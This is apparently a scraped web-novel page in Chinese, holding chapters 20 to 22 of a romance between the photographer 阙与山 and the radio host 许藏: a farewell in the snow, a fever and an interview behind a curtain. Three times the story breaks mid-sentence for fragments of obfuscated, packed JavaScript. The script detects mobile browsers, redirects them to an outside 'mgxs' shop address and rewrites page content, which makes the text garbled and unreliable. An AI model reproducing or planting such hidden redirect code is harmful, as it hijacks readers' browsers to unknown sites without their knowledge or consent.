l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233889|197646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 许藏坐在大石头的防潮垫上,又问:“现在要合照吗?” 阙与山看了一眼屏幕上的又一春,又一次摇了摇头,果木壳再次撞出有点闷的声音,说还没到。 红色的调色盘彻底打翻在又一春上,连带着茎部都像是被血溅到了一般。 它的花蕊开始呈现红色过度的紫色,糜烂地绽放在红色的血池之中,有一种过度妖冶的美。 等待又一春从花苞到开花,再至过渡到如今的颜色,天色早就黑了下来,夜晚的星星闪烁在深蓝色的天空处。 就在这时,阙与山却说好了,他觉得现在的又一春就是它最美的时刻,极致舒展、用力明媚。 许藏拎上了那盏暖黄色的复古手提灯,与阙与山一起,在那朵开得绚烂的又一春前,合了影,也是属于他们的第一张照片。 照片里,又一春在最前面,仰视角下,他们两个并排坐在又一春的后面,垂眸看花,那盏手提灯就被放在两个人的中间,暖色的光不仅照亮了花瓣,还映在他们的面容上。 阙与山将放在雪地里的相机拿起来,又坐回许藏旁边的防潮垫上,调出那张照片看了很久。 他垂着眸,从口袋里摸出了烟盒和打火机,捏出一根叼在嘴里,熟练地点燃后抽了一口,夹在修长的指间。 他很突然地问了许藏一件事:“你还记得十四年前,那朵小白花吗?” 那朵开在雪中的小白花,普通平凡,经过他的手,变得肮脏丑陋,最后被活活冻蔫在窗台上、死在厚雪中。 当年的阙与山总想着,尽管许藏不喜欢,不会对那样丑的花上心,他总要送出一朵最好看的、最美丽的、最明艳的花,聊表十四年的心意。 他对许藏的情愫,就像又一春一样,在掩埋荒芜的雪后,一眼定住、泛起涟漪,又似小白花一样,在最不适宜的时候,过程草率、结局仓促。 只是,总要完成多年的心愿,不留遗憾。 哪怕许藏冷言冷语,他还是要找尽借口,谋划如何将人强掳来,甚至不惜用言而无信绑架他。 阙与山有时也觉得,自己强大得可怕、厉害得惊心,尽管身上插了无数把,产地为许藏的刀,他都能一一笑纳,再恬不知耻地凑上去。 “记得。”许藏说。 阙与山艰难地笑了一下,将烟蒂塞进嘴里,细细地抽了几口,满嘴苦涩地说:“许藏,忘了它吧。” 忘了那朵,他在雪地里跟着狼找了几乎一整天的小白花,只需记得这朵,在雪夜中依然无声璀璨的又一春。 懵懂无知的阙与山总觉得,雪中的狼威风勇猛。 但是,十四年前,有一个不速之客,总喜欢叫他小狗。 阙与山常常纠结,狼还是狗,喜欢狼还是喜欢狗,应该当狼还是应该做狗。许藏给他留下了这个难题,随后销声匿迹。 他一想到这个问题,就会回忆起许藏的不辞而别,许藏的心如磐石,许藏的冰冷无所谓,从而恨上许藏。 甚至不久前,许藏在玉琼雪林第二次不辞而别,第二次冷然自若,第二次漠不关心,无法消解的恨意再次弥漫上来。 如今的阙与山再次拐回那个纠结多年的问题,好像一切都迎刃而解。 狼威风,狗忠诚,他是人,不喜欢狼也不喜欢狗,更恨许藏。 整点的闹钟喧噪地响起又被按掉,阙与山迎来了他三十一岁的生日,也是许藏的承诺迟了整整十四年的标志。 许藏在一旁微微侧身,看向阙与山,伸手从他的嘴边强势地拽走了那根烟,将燃得只剩一半的烟头猛地按进雪里,发出嗞啦的响声。 他的眼睛里盛着纷繁的情绪,语气却平淡:“阙与山,许个愿吧。” 从玉琼雪林开始,从玉琼雪林结束。 这次,有始有终,也好。 阙与山没有闭眼,也没有双手交握,极其缓慢地扯下左耳的果木壳捏在掌心,全程没有发出一点声音。他的另一只手死死地攥着手中的相机,屏幕还停在他们的那张合照上。 他一双灰蓝色的眸子幽暗,借着复古手提灯的光,直直地盯着许藏,冷声地许下三十一岁的愿望。 “许藏,我恨你。 “从今往后,我们就不要再见面了。” 20. 间接接吻 皮卡的车门被合上,林木深将热了一会儿的车子开了出去。 玉琼雪林的清晨很安静,皮卡里也弥漫着这样的氛围,只有引擎轰鸣的声音充斥耳旁。 皮卡拐过了一个弯,林木深回正方向盘的时候,视线通过后视镜在副驾驶的许藏身上停留了几秒,突如其来地开口问道:“其实,你第一次给他送镜头盖时,是故意选在大雪封山之前越过游客区上山的吧?” 许藏保持沉默,林木深好像也不指望他回答,自顾自地又扫了一眼许藏今日的保暖措施,围巾帽子一应俱全,接着刚才的话题说道:“也是故意不打伞不保暖,装作冻僵了,好被我捡回木屋?” “下次别做这样伤身体的事情了,你可以直接跟我说你们……” 林木深也不知道该怎么断定他们两个的关系,朋友仇人未满,恋人爱人未及,到头来莫名其妙地还掰了。 “我们没什么。”许藏的手塞在口袋里,一直在把玩铁质打火机,那是昨夜从阙与山手里收缴而来的打火机。 昨夜,阙与山看着他,用比雪还要冰冷的话,说他恨他,说他们以后不要再见面了。 许藏很难描述那一刻的心情,好似一只被充到极限的气球,艰难地从刀山火海挤出来,却被一根细小的绣花针扎破了,痛到心脏都像气球一样在抽搐萎缩。 他感觉自己在温暖的衣服中疯狂流失热度,手只能深埋冻雪中,死死地捏着那根阙与山抽剩半根的烟,仿佛它还有可以获取的温度,才控制住、冻住那些横冲直撞的情愫。 他微微张开僵硬无比的唇,从打颤的齿关中泄出一个音:“好。” 又一春开花的尽头就是死亡,他们在艳丽的又一春面前坐到枯萎。 阙与山好像因为冷先撑不住了,摸出烟盒一根接着一根抽。 到第三根的时候,坐在旁边的许藏轻而易举地从他的手中夺过了打火机,起身进了帐篷。 许藏一晚上没睡,他不知道阙与山睡了没有,但是他知道阙与山一晚上都留在帐篷外面没有进来。 早上出帐篷的时候,阙与山已经将其他东西都收拾好了,等他一起走回了木屋,上楼拜托林木深送他下山。 他走的时候,阙与山甚至没从二楼下来。 自转身背离木屋开始,许藏就知道,阙与山许的愿开始灵验了。 下山路上的积雪还有一些没有清干净,积攒起来致使皮卡轻微摇晃。 许藏回过神来,将那只属于阙与山的打火机从口袋里抓了出来,在眼前轻轻地翻倒,忽然问:“车里能抽烟吗?” “只要不被看见,且不会点燃皮卡,随意。”林木深耸了耸肩。 “好。”许藏点了点头,开了一点车窗,从另一边口袋里摸出昨夜的那半根没被阙与山抽完的烟,经过冻雪、手指以及衣服的蹂躏,已经扭曲得不像样了。 他将烟塞到嘴里衔着,手指挑开打火机,滑了一次冒出火焰,目光在摇曳的光影上盯了一会儿,才挡住风送到烟前点燃。 打火机被换了只手,许藏仰头靠在座椅上,斜着目光看向窗外,时不时轻轻地吐一口烟,吞云吐雾实在麻痹神经,一夜未眠的疲劳慢慢被压下。 半根烟抽得很快,许藏单手掐灭后,将被糟蹋得不像样的烟蒂留在指间玩弄。 一路上,林木深透过后视镜看了许藏好几次,每次都是一个姿势,目光落在被捏扁的烟蒂上不知道在想什么。 就要进入游客区了,林木深纠结万分,最终还是叹了口气,开口道:“我实在受不了联系阙与山时得看命了,你们昨天来之前,我亲自下山给他买了个电话。 “号码我只说一次……以后若是这个号码给你发了点什么,你不想理就不理。但是作为朋友,我请你不要拉黑这个号码。” 许藏没有回应,甚至连转动烟蒂的手指都没为此停顿一下。 林木深又叹了一口气,不知自己这么做是错是对,但不管怎么样,情谊哪是说断就能断的呢。 皮卡最终停到了山脚的游客中心,林木深率先下车,在后座捣鼓了一阵,拽出来不知道什么。 他背着手捏着东西,走到正在拿背包的许藏身后,佯装帮他拍上面的灰,抚了两下很假地惊讶道:“你背包的拉链没拉……” 不等林木深有什么动作,许藏直接转过身面对面看他,无情地挑破:“说吧,他有什么事拜托你了?” 林木深的手尴尬地垂在身侧,伸也不是、收也不是,最终只能硬着头皮将手中的东西举起来:“他说,没有骗你,答应给你的礼物,一定会给你。” 许藏微微垂眸,视线落在林木深手中,被搓成一团的素罗。 他好像一下子理解了,阙与山那句“没有骗你”是什么意思——没有把素罗当作骗他去林城的幌子。 迟迟没见许藏的动作,林木深有点急了,硬是抓起许藏一只手塞到掌心里:“好了,不要让我难做。如果你不想要,就亲自还给他。” 其实林木深没有讲完,阙与山还说,如果许藏又一次抛弃这条素罗,他就再也没有机会将礼物送出去了。 林木深确保许藏不会把素罗扔到地上踩两脚,才松了口气收回手,不太好意思地说:“那个号码真的只是我给你的,他不知道。” 送走许藏后,林木深回了木屋,直上了二楼,看到在窗户前和块望夫石一样的阙与山,气不打一出来,劈头盖脸一顿质问:“你们不是早在一起了吗?上次在木屋不是还睡一张床呢吗? “别告诉我是兄弟情,谁家兄弟分手还得送一条丝巾当礼物?” “那是素罗。”阙与山哑着嗓子纠正。 “你这什么破锣嗓?”林木深皱了皱眉,走到了他的旁边,借着窗外的光看到了浓重的黑眼圈和挡不住的疲态,“许藏都没有你的嗓子嘶哑难听,你昨天晚上没睡?” 阙与山没有回答,不过凭借他的语气和僵硬的手部动作,林木深断定他不只是没睡,甚至还在冰天雪地冻了一晚上,一双手肿得跟红萝卜似的,手指难以伸展。 以他对阙与山的了解,此时劝说必定无用,只能采取冷漠无情的激将法:“别看了,人这会儿都上火车了,你追也追不到了。那个电话怎么回事,你不是说是你自己的号码,结果是许藏接的,你还正好在旁边?” “不知道。”阙与山不仅身体被冻僵了,嗓子、脑子好像也被冻僵了。 林木深挑选直击痛处的话:“你们两个,彻底拉倒了?没有转圜的余地了?” “不知道。” 林木深又接连问了几个强有力的问题,阙与山简直是一问三不知。 还没等他继续实行激将法,站在他旁边的庞然大物突然站不住了,摇摇晃晃就要往后栽去,惊得林木深立马跳开了,纠结了半天还是不给他当肉垫。 最后阙与山摔坐在他的腿边,林木深没控制住自己:“这年头可不兴碰瓷,已经退环境了。” 林木深叹了一口气,准备扶他去床上强制睡觉,可刚碰到他的手腕就被烫得缩了一下,立马皱眉,严肃地用手背去碰他的额头,果然一片滚烫。 “发烧了你自己不知道吗?”林木深又骂了几句。 阙与山怔愣地摇了一下头,根本就没听他在说什么,张口就回:“不知道。” 林木深怀疑他的话从一开始就不是跟自己说的,但又不能将病患扔在这里,只能咬着牙将近一米九的阙与山艰难地搀扶起来,扒干净塞进被子里。 他洗了热毛巾先给阙与山擦脸和脖子,随后又接了盆凉水,方便清洗降温用的毛巾。 木屋里常备了不少的药,林木深将小药箱拎出来,在里面找了半天,边找边问:“嗓子疼吗?头痛吗?还有其他地方难受吗?” 他扫了一眼跟尸体没什么两样的阙与山,叹了口气,恨铁不成钢地说:“如果是心疼就不用说了,不说话就先吃点退烧药,把热度降下来再说。” 林木深将阙与山扶起来,后腰处塞了几个枕头,将晾好的热水和药片一起递过去时,才发现他的手一直蜷着没有伸开过。 “僵住了?”他皱了皱眉,将东西放到一旁的桌子上,用热毛巾捂上了他的手。 在冰冷的空气中待得时间长了,猛然回到温暖的环境,没过一会儿皮肤就会由内而外地灼烧。 阙与山此时便是这样,他感觉有无穷无尽的火炙着血肉,再加上林木深覆来的热毛巾,烫得他下意识松开了手,掌心里被握了一夜的东西滚了出来,掉在了地上。 东西磕在地上碰撞发出声响,林木深收回毛巾循声看去,发现是阙与山最近常戴的那串果木壳,不知怎么从他的左耳到了左手。 他将它捡起来,瞥见其上有一道细小的裂缝,还给阙与山的时候还不忘嘱咐:“别捏了,都有裂缝了。” “谢谢。”阙与山哑着嗓子说完后,接过了林木深递来的水和药。 听到他的话,看到阙与山如今的模样,林木深后知后觉意识到,昨天皮卡上阙与山的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233890|197646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句谢谢,原来是谢他招呼了许藏分别前最后一顿丰盛晚宴。 他接过了阙与山手中的水杯,骤然发现他的眼睛颜色好像变浅了许多,从深邃的灰蓝变成玻璃珠子般的浅灰蓝,奇怪地问道:“你的眼睛?” “什么?”阙与山茫然地转过头看向他。 也许只是光线问题,林木深压下那份怪异,摇了摇头:“没事,你睡吧。” 被抽走腰后的枕头,阙与山才缓慢地躺下去,把那串果木壳放在枕边,闭上眼睛。 没睡的疲惫并没有给他带来沉稳的睡眠,反而让阙与山做了一个逃不开的梦。 梦中,雪刚刚停,在无边的土地上了积了厚厚的一层。 他的眼前模糊一片,只能看到雪的白色,刺得眼更疼。耳朵像是隔了层布,什么都听不清,踩雪的声音简化成规律的震动。 疼痛从胃部直直烧到喉管,像是有一把刀在里面不管不顾地划戳。 阙与山只能拼命地蜷缩,他无意识醒不过来,也不知道为什么弯曲的身体还能在雪上艰难地行走。 朦胧间,他听到仿佛有人在不断地喊自己的名字,带着沉闷的哭腔,他不认识那个声音,也回应不了。 极尽的疼痛持续了好久,久到时间可以融化冰雪。 阙与山终于醒了,因为梦中的挣扎出了一身汗,浸湿了自己的居家服,但遗憾地没有带走高温,他的手心脖子等处还在发烫。 一双浅灰蓝色的眼睛没什么神采地望向昏暗的天花板,他突然意识到,自己好像已经很久没有生过病了。 汗粘在身上极其难受,阙与山摸黑起身,找了自己的另一套居家服进了浴室。 再出来时,他看到桌子上有一张林木深留下的纸条,大意是他晚上不回来记得吃药吃饭。 药就放在桌子上,阙与山去倒了杯热水放在旁边晾着,他看了眼窗外的天色,黑得已经看不清雪林的轮廓了,想了想从自己的背包中取来了缠着耳机线的收音机。 依他对许藏浅薄的了解,以及小赵所说的工作狂标签,许藏今晚一定会回到电台的岗位上。 阙与山犹豫了半天,还是顺从本心摘下了耳机线扔到桌子上,随后打开了收音机。 一瞬间,他觉得自己恬不知耻,昨夜还说着永不再见,今晚就如阴沟里的老鼠一样,透过下水道的缝隙听见许藏。 嗞啦的电流声响起,随后是陌生的主播声音传了出来。 阙与山连许藏节目的时间前后两三档节目主播、许藏的替换主播,所有声音都认识,却唯独没有听过现在这个声音。 他怔了一下,排除许藏休息不会上工等原因,好像仅剩的只有,许藏辞职或者远调才会换新人,但是负责人曾答应过他不会调走许藏、也不会主动辞掉许藏,难道是许藏自己辞职了? 药片凌乱地被推开,哗啦地掉了一地,连带着那杯水也倾倒,水流顺着桌边滴落在药片上,晕出深色。 阙与山慌乱间把桌子上的东西都弄倒了,但他现在没时间管,抓起收音机调大声音,来回反复切频道,每次切回来都是一样陌生的声音。 许藏辞职了……这个噩耗像是一把大锤子,猛地敲晕了他。 阙与山近乎颓然地跌坐到了厚实的地毯上,无能地抱着收音机,茫然地看着亮起来的屏幕。 明明身体在发烧,阙与山却觉得那些热量在从内部快速四散,好像不久后他就能变成一具冻尸。 他甚至现在就想冲过去,找到林木深,用他的手机给许藏打电话,问他为什么辞职,可是他没有立场,也不能保证许藏会接电话。 阙与山就在地毯上僵坐了很久,视线虽然落在收音机上却模糊一片,耳朵虽然听着里面传出来的声音,却一个字也捕捉不到。 很久之后,当他的目光再次凝聚起来,落在收音机频道那几个数字上时,突然笑了出来。 这个频道错了,这个频道是他在林城时调的。 林城调的频道,在玉琼雪林怎么会听到许藏的节目呢? 阙与山笑自己的蠢,笑着笑着眼前突然又模糊一片,只不过这次好像是隔了一层水光。 他努力地将那点不值钱的、将要从眼眶中溢出的水珠挤了回去,颤着手将频道调回了独属于玉琼雪林的数字。 熟悉的声音陡然从收音机中泄出,阙与山还是觉得许藏的话隐隐约约,将头偏了一下,耳朵缓慢地贴了上去。 只是这次,没有果木壳碰撞时空灵的声音相配。 21. 乘虚而入 病来如山倒,阙与山在林木深的木屋里连养了几天的病,发烧却始终如抽丝一般反反复复,体温时高时低,林木深说退烧药不能吃太多,到后面低烧时便断了,只在雪林如隐居般修生养性。 他的病还没走,一通秋城广播电视台的电话先来了。 阙与山端着水杯,借由木屋的固定电话接听时,才反应过来,电视台的人能打到这里,还是因为上次他借口下山找许藏时向电视台播过一通电话,缘分似圈一样兜兜转转又落到头上。 电话那头依旧是原本的接线员,简单表达了来意:“阙老师,恭喜您!您前段时间投递的一副名为《沙漠灯塔》的作品荣获国内最高奖项!我们秋城电视台和您合作过两次采访、一次纪录片,不知此次我们能否有此殊荣拿到您获奖后的首采?” 电视台此番来电,让几乎与世隔绝的阙与山想起来,他还没有过问赤霜河纪录片的后续和反响,犹豫了几秒便答应了又一次采访的邀约。 而林木深回来听说他要下山的事情后,只沉默地从杂物间里拿出一个盒子塞给阙与山,说道:“玉琼雪林几乎让你拍了个遍,下次见面还不知是什么时候。给你买的电话,你也知道我的号码,逢年过节记得发个短信、道个平安。” 那个装电话的盒子不算新,一看就知道是老款了,在玉琼雪林当护林员常年无人问津且嫌少下山,林木深常常不想着为自己置办什么,反而为他这个朋友买了个电话。 阙与山的目光停留在电话盒子上几秒,从背包中拿了钱塞给林木深,然后抱了他一下,郑重地说道:“谢谢。” 林木深不记得自己已经接送过几次阙与山上下山,每次看到他拖着行李箱和登山包,都像是带着全部身家孑然一身地出来拍摄。 阙与山自由,却又不自由。 林木深这次坐在皮卡驾驶位,没有嫌弃没有不舍,嘱咐道:“许藏的号码我已经预先帮你存在电话里了,你们自己的事,再多我也不便参与。 “作为朋友,希望你下次来的时候,不再孤单,也不会孤独。 “注意身体,一路顺风。” 阙与山还是先回了趟林城的家,把行李箱和登山包都放下,换了黑色的小包才不紧不慢地往秋城广播大楼去。 因为不需要再和许藏“不期而遇”,他这次没有选择赶在早上刚开工的时候来采访。 秋城那场突兀的雪早已消弭,下午的时候甚至有冰冷的阳光照向大地。 阙与山在秋城广播大楼门口下车时,浅淡的影子跟着他一起挪动。迎接的人又多了几个,叽叽喳喳地围成一圈,杂音吵得他有点头疼,最后只能拜托小赵从中周旋,让其他人先上楼。 他和小赵在一楼等了一会儿,才走进空旷的电梯。小赵刷了一下工牌,按下了去往电视台的数字。 “阙老师,赤霜河纪录片经过剪辑,已经投放出了第一期,反响特别好!观众们都在等着您和许老师的双人采访呢!”小赵站在按键前,面朝着阙与山,手舞足蹈地说着。 阙与山看到她的嘴唇张合,却只能听到唔哝的声音,一句话基本上都没听清。 他微微皱了皱眉,抬手打断了小赵,略微抱歉地说道:“不好意思,你刚刚说什么?我没听到。” “啊?哦,”小赵的表情变了几变,最后尴尬地笑了笑,提高了音量,“没什么,阙老师。” 小赵不愿说第二遍,阙与山只能点了点头,想了想预警道:“最近有点发烧,请你向采访组转达一下,就说是我请她们提问的时候,声音稍微大一点,不然我可能听不太清。” “阙老师你真是客气了,您的想法我一定帮忙转达。”到了地方后,小赵在前面引路,将阙与山带到了采访组。 她向采访组的人说了阙与山的请求后,转头找到了负责人,将她拉到了一旁没人的角落,悄声地说:“阙许不合可以证实了,在电梯上我提了一嘴许,他直接说没听到。” 负责人若有所思地点了点头,朝采访间看了几眼,招来了几个布置采访间的人私语。 采访开始了,还是之前的访谈者,她拿着手卡,优雅地看向摄像头,简洁明了地直入话题,最后带到了阙与山身上:“我们有幸再次邀请到了阙与山阙老师,从崭露头角的《破金》,到荣获国内外大奖的《可怜星俱灭》,再到如今名声大噪的《沙漠灯塔》,想必阙老师一定有很多想和我们分享的。 “我知道阙老师从大学期间就坚持拍摄,到现在已经十二年之久。自然摄影师之路并非一帆风顺,这等毅力值得我们学习。阙老师,您早期的作品《破金》一直到了两年多前才获奖被大家知晓,不知您当时有什么感慨?” 阙与山点了点头,很自然地接过话题:“我觉得《破金》这副作品能被大家看到是很幸运的一件事情。《破金》拍摄于我大学毕业那年,距今已经有六年多了。 “六年前的夏天,我来到了一座古镇。夏季的雨水很多,古镇整日笼罩着厚厚的云层。然而就在我准备离开的那天清晨,阳光从云中破开一个洞,金光洒落在古镇的建筑之上,我极其有幸拍下了这幕,为这副作品起名《破金》。 “《破金》能够获奖是我意料之外的事情,也是我人生中的一个转折点。” 五年前,阙与山的父母去世,继而他独自一人前去玉琼雪林拍摄寒夜光柱,碰巧听到了许藏的电台节目。 此后,消失许久的许藏重新成为笼罩在他人生中的阴沉云层,深夜电台节目便是唯一破开云层的金光, 他既期盼某日云销、望见整片阳光,又怨恨云层遮天蔽日、走不出去。 彼时,阙与山用收音机听了许藏的节目一个月后,顺着频道反向找寻,最终确定了他工作的位置,是林城广播大楼。 林城广播大楼的门禁很严,阙与山连续三年于拍照间隙,前往林城广播大楼门口蹲人,每每赶到许藏节目结束的点去,却没有一次见到过人。 这些日子林林总总足有近三十次,加在一起整整七天,够阙与山将林城广播大楼周边所有的早餐摊、公交路线、小路等摸了个遍,依然没有看到过许藏。 诚如访谈者所说,阙与山拍摄十年无籍籍名,是靠着毅力撑下去。 但在阙与山看来,他只有在寻找许藏的过程中,才足够执着坚持,如大海捞针一般,凭着一股不服输的韧劲走下去。 后来,阙与山才知道自己犯了三年的蠢,一直都找错了地方。 许藏工作的地点是霜城广播大楼,并非林城广播大楼,但因霜城属于林城,频道多有难区分之处。所以霜城玉琼雪林之上的林木深,只因离得近,才能那么凑巧地听到许藏的深夜电台节目。 阙与山还没来得及赶赴霜城广播大楼找到许藏,《破金》获奖的消息一下子砸到了他的脑袋上,邀约与拍摄如雪一样洋洋洒洒朝他洒来。 不过几个月,许藏便从霜城调去了秋城,在秋城广播大楼工作到了现在。 他在秋城广播大楼里与许藏重逢前,来过几次,在不起眼的地方亲眼见到许藏下班从楼里出来,他很多次与许藏近在咫尺,却没有勇气也没有理由上前。 事到如今,阙与山依然只能通过听许藏的深夜节目,来享受破金的笼罩。 然而,破金,不是光,是海市蜃楼。 “看来,连阙老师自己都没有想到两年多前,《破金》这副作品会率先得奖。”访谈者适当地笑了笑,引入了今天的主题,“阙老师的上次拍摄还是在《可怜星俱灭》时,不知是什么让您产生了前往沙漠的想法,从而拍下了《沙漠灯塔》?” 阙与山微微垂眸想了一会儿,再抬眼时,浅灰蓝的眸子泛着幽光:“只是很凑巧从电台节目中,听了一个有关于沙漠的故事。” “哦?”访谈者仿佛来了兴趣,“不知阙老师能否给我们也讲一下这个故事?” 阙与山笑了笑,说道:“我只能记得大概,讲的也不算好。” “无妨,能让阙老师为之动容的故事,想必很有意思。”访 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233891|197646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谈者适当地微笑。 “好吧。”阙与山歪了歪头,轻声开口道,“在沙漠的尽头,有一个不为人知的村子。某日,村子赖以生存的水源断绝,他们只好选出勇士替大家寻找水源。 “留在村子里的人们等来了一个又一个贪婪又暴虐的外乡人,他们抢夺粮食、屠杀村民、作孽无数。村民受不了长时间等待却没有回音的日子,只能结伴出发寻找水源,却依然惨遭外乡人的毒手。” 阙与山的语气很平淡:“事实上,村民们早已因为缺水变成了鬼,他们阻挡不了一个外乡人,连魂魄都要变成外乡人的干粮。独独剩下一个,逃离了村子,在无边的沙漠上游荡,终有一日看到了最初被寄予厚望的勇士,看到他纸醉金迷、贪图享乐,愤恨地将他杀了。” 这个故事就是许藏在玉琼雪林上讲的沙漠边缘,阙与山早在一年前就通过收音机听许藏讲过,结局与木屋上后讲的大相径庭。 他当时还不知许藏为什么会改结局,现在大约懂了,不过是为了哄他骗他,逗他玩、看他沉溺无法自拔。 “这个故事确实能激起对于沙漠的想象,”访谈者只能挂着微笑给予肯定,再接着话音一转,“《沙漠灯塔》的构图非常有意思,一条梅染色的素罗挂在枯萎千年的胡杨之上,风将它扬起来时,正好遮挡住了秋季金黄色的胡杨林,背景是一望无际的沙漠戈壁。 “用枯萎和生长的胡杨,连通历史的过往与现在,展现其作为‘沙漠灯塔’的守候与希望。不知阙老师,您是怎么想到要拍这一幕的?” 阙与山点了点头,很快地回答:“我在沙漠拍了很多大家熟知的景色,比如夜晚的群星和星云,非常有特色的雅丹地貌,还能从千奇百怪的风蚀土墩中找到各种各样的灵感。 “而《沙漠灯塔》的灵感来源于路边一位卖丝织品的老妇,她给我介绍了流传千年的技艺和历史的繁荣。我买下了这条梅染色的四经绞罗,将它挂在了枯萎的胡杨枝头,风告诉我,就应该这么拍。” “听起来,这条梅染色的素罗,对于您来说,一定有别样的意义了。” 阙与山笑了笑,如实道:“我把它送给了一个朋友。” 关于《沙漠灯塔》获奖的采访很快结束了,阙与山谢过采访组后走了出来,迎面遇到了负责人,跟着她去了隔壁的一间小型会议室。 负责人开门见山地讲了赤霜河纪录片项目的进度,说剪辑基本上都完成了,第一期也播出了,反响还不错。 阙与山面朝着负责人的方向点了点头,突然看到她的嘴在动但是听不到声音,反应了几秒才意识到负责人好像降低了声音,话中大意没听到,却隐约捕捉到“一会儿采访”几个字。 他瞬间感到有点奇怪,采访明明刚结束,为什么又来一个采访,还未等阙与山问出来,就听负责人抛出了一个难以拒绝的理由。 “为了赤霜河纪录片,万望阙老师参加接下来的采访。”负责人请求道。 阙与山犹豫着同意的同时,对于负责人突然郑重的话感到疑惑。 他又不是什么耍大牌的人,何况纪录片的项目也是他先提出来的,一个采访罢了,怎么会用上“万望”二字呢? 等了没多久,阙与山被工作人员引到了采访间的一道小门,进去后只有坐在主座的访谈者那里是亮的,其他地方一片漆黑。 他压下心中的怪异,摸索着坐到了指定的位置上。 采访很快开始,访谈者对着摄像头陈述,很快将话题引到了赤霜河纪录片第一期的内容上,然后偏过头看向阙与山。 只是让阙与山很奇怪的是,访谈者的目光只是轻轻地与他交接,便微微挪向了另一个方向。 访谈者点了点头,客气地说道:“那么接下来,请我们赤霜河纪录片的拍摄主人公介绍一下自己吧。” 阙与山顿了一下,还没来得及开口,就听到自己漆黑的右边,很近的地方传来了一道声音。 “大家好,我是赤霜河纪录片的副摄,许藏。” 22. 不见面的知音 阙与山一下子就明白过来,为什么一个纪录片的采访,负责人要用上“万望”两个字了。 一开始纪录片材料的交付就是邮寄,后来又是许藏一人下山回到秋城广播大楼,再加上两人的关系闹僵,一系列的事情都不得不让人怀疑。 也许是许藏直接挑明了不再见面,也许是负责人或多或少地能从言语中听出来些端倪,才会提前预警采访的事情。 他伸手往许藏的方向探索了几下,骤然摸到了光滑的布料,中间应该是被布置了一块遮挡的黑布。 没想到是这样的采访形式,两个被采访的纪录片主副摄影从两道门进来且互相不见面,而摄像机从正面拍下的画面却很和谐,看不出丝毫龃龉。 访谈者的目光已经移到了他的身上,阙与山自然地收回手,向镜头介绍自己:“大家好,我是赤霜河纪录片的主摄,阙与山。” “很荣幸能同时邀请到两位,”访谈者朝他们的方向发自内心地笑了一下,“由二位共同拍摄的赤霜河纪录片第一期广受好评,这次采访也征集了几个观众最关心的问题,想要问到两位老师。 “我们都知道,总是能在深夜听到许藏老师的电台节目,没想到这次能够以另一种身份被大家熟知,让观众们都很惊喜。纪录片最后选到许老师,阙老师是否是那个敲定者?” 阙与山能感受到他为自己和许藏可以共处一室松了一口气,不由得感觉好笑,很官方地回答道:“作为自然摄影师,我对于曾经在业内声名鹊起的许老师十分崇敬,得知许藏正是许老师的独子,且曾跟随许老师游历,我便十分信任许藏。 “许藏老师的专业水平,不仅是我,就连整个纪录片团队都非常信赖。与其说是我为敲定者,不如说是,纪录片本就是为许藏老师量身定制。” “是很高的评价呢!”访谈者感慨了一句后,话音一转,将话题抛给许藏,“不知许藏老师在和阙老师合作之前,可否久仰大名?” 许藏坐得很直,腰背板正,闻言点了点头:“恐怕无人不晓阙老师及其作品。” “不知许藏老师最早是通过阙老师的哪幅认识他的?”访谈者继续追问,甚至害怕许藏真的对阙与山一无所知,提了两个作品让他选,“是第一次获奖的《破金》,还是荣获国内外大奖的《可怜星俱灭》,前者是古建筑文化,后者是对于星空的思考,最开始看到的阙老师作品是否让您有所触动?” 许藏故作沉思的模样想了一会儿,给出了令人意想不到的答案:“最早是通过《斑驳光阴》认识阙老师的,我记得那副作品被选入杂志、出版发表时是五年前。” 不仅访谈者愣住了,就连与许藏只有一布之隔的阙与山也呆滞了。 六年前《斑驳光阴》这幅作品被选中,五年前阙与山的父母去世后才堪堪登上杂志出版发表,正是这副作品、这期杂志,被阙与山祭拜父母时烧给了他们。 甚至不久前,在林城的家里,阙与山刚把这副作品的事情讲给许藏,但是并没有告诉他作品的名字。 时至今日,竟然从不再见面的许藏口中得知,他早到五年前就从《斑驳光阴》再次认识自己,阙与山只觉得不可置信。 “五年前,我刚刚回国找了一份电台的工作,偶然中看到了阙老师的《斑驳光阴》,雨后大雾之下的破旧古庙砖瓦斑驳,檐角挑起像是千年守候者,隐在雾后的木门和残缺台阶,十分幽静神秘。” 许藏顿了一下,又说道:“仰赖这幅作品给了我启发,才向领导申请去做深夜的恐怖故事节目。” 五年前,许藏刚进电台时还有搭档,只是因为性子冷淡、话少,被调到了深夜栏目。 他没想到在去雪村寻人无踪迹后,不过几个月就能从一本杂志上,再次见到“阙与山”这三个字。 许藏多么庆幸自己在那日无聊之时翻开了那本几乎无人光顾的杂志,一眼被《斑驳光阴》吸引,并注视到作者名字,那一刻,他像是置身于大雾中的古庙里,在破旧的门被风吹过时,为它发出的怪声,心脏猛烈紧缩颤动。 他甚至要迫不及待地记下阙与山的地址,给他寄信,用相对不那么突兀的话问他是否还记得自己。 可是许藏又多么憎恨自己,那么早就再次看到阙与山,以一种完全陌生的姿态,在一个完全陌生的环境。 